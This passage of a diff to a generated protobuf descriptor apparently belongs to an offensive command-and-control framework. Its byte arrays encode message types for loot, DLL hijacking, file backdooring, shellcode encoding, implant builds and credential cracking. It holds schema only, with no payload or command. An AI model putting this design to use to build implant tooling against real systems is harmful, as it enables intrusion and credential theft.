0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x22, 0xba, 0x01, 0x0a, 0x04, 0x4c, + 0x6f, 0x6f, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, + 0x79, 0x70, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x46, + 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, + 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, + 0x12, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x04, 0x53, + 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, + 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0x2d, 0x0a, 0x07, 0x41, 0x6c, 0x6c, 0x4c, 0x6f, + 0x6f, 0x74, 0x12, 0x22, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, + 0x52, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x22, 0x45, 0x0a, 0x03, 0x49, 0x4f, 0x43, 0x12, 0x12, 0x0a, + 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, + 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x12, 0x0e, 0x0a, + 0x02, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x22, 0x27, 0x0a, + 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, + 0x0a, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, + 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x22, 0xdf, 0x02, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, + 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, + 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, + 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, + 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x4f, 0x53, 0x56, 0x65, + 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x0a, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x18, 0x04, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, + 0x4f, 0x43, 0x52, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x12, 0x47, 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, + 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x21, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x2e, + 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x52, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, + 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, + 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x03, 0x52, + 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x1a, 0x59, 0x0a, + 0x12, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x52, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x30, 0x0a, 0x08, 0x41, 0x6c, 0x6c, 0x48, + 0x6f, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, + 0x6f, 0x73, 0x74, 0x52, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x22, 0xf3, 0x01, 0x0a, 0x0c, 0x44, + 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x12, 0x2a, 0x0a, 0x10, 0x52, + 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, + 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x12, 0x26, 0x0a, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, + 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, + 0x22, 0x0a, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, + 0x44, 0x4c, 0x4c, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, + 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, + 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x22, 0x3b, 0x0a, 0x09, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x2e, 0x0a, + 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x78, 0x0a, + 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, + 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, + 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, + 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x55, 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, - 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, - 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2e, - 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xb7, - 0x01, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x47, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x2e, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, - 0x57, 0x0a, 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, - 0x65, 0x79, 0x12, 0x30, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, - 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x13, 0x45, 0x78, 0x74, 0x65, - 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, - 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, - 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, 0x61, - 0x6d, 0x65, 0x22, 0x39, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x2d, - 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, - 0x64, 0x65, 0x72, 0x52, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x22, 0x80, 0x02, - 0x0a, 0x07, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, - 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, - 0x65, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x1c, 0x0a, - 0x09, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x09, - 0x52, 0x09, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x54, - 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, - 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x12, - 0x3f, 0x0a, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, - 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, - 0x52, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, - 0x22, 0x80, 0x02, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, - 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, - 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x50, - 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, - 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x61, 0x73, - 0x68, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x61, 0x73, 0x68, 0x12, 0x2e, 0x0a, - 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0e, 0x32, - 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, - 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1c, 0x0a, - 0x09, 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x09, 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x4f, - 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x07, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, - 0x55, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x22, 0x45, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, - 0x6c, 0x73, 0x12, 0x36, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x0b, 0x43, - 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x22, 0x4d, 0x0a, 0x0d, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x3c, 0x0a, 0x0d, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xed, 0x01, 0x0a, 0x12, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, - 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, - 0x12, 0x26, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, - 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x74, 0x65, - 0x73, 0x52, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, - 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, - 0x69, 0x6e, 0x67, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, - 0x63, 0x69, 0x6e, 0x67, 0x12, 0x33, 0x0a, 0x07, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, - 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, - 0x52, 0x07, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x22, 0xa9, 0x01, 0x0a, 0x0f, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x14, 0x0a, - 0x05, 0x53, 0x70, 0x65, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x53, 0x70, - 0x65, 0x65, 0x64, 0x12, 0x43, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x18, - 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, - 0x2e, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, - 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x1a, 0x3b, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x67, - 0x72, 0x65, 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xc9, 0x01, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, - 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, - 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x48, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, - 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x28, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, - 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, 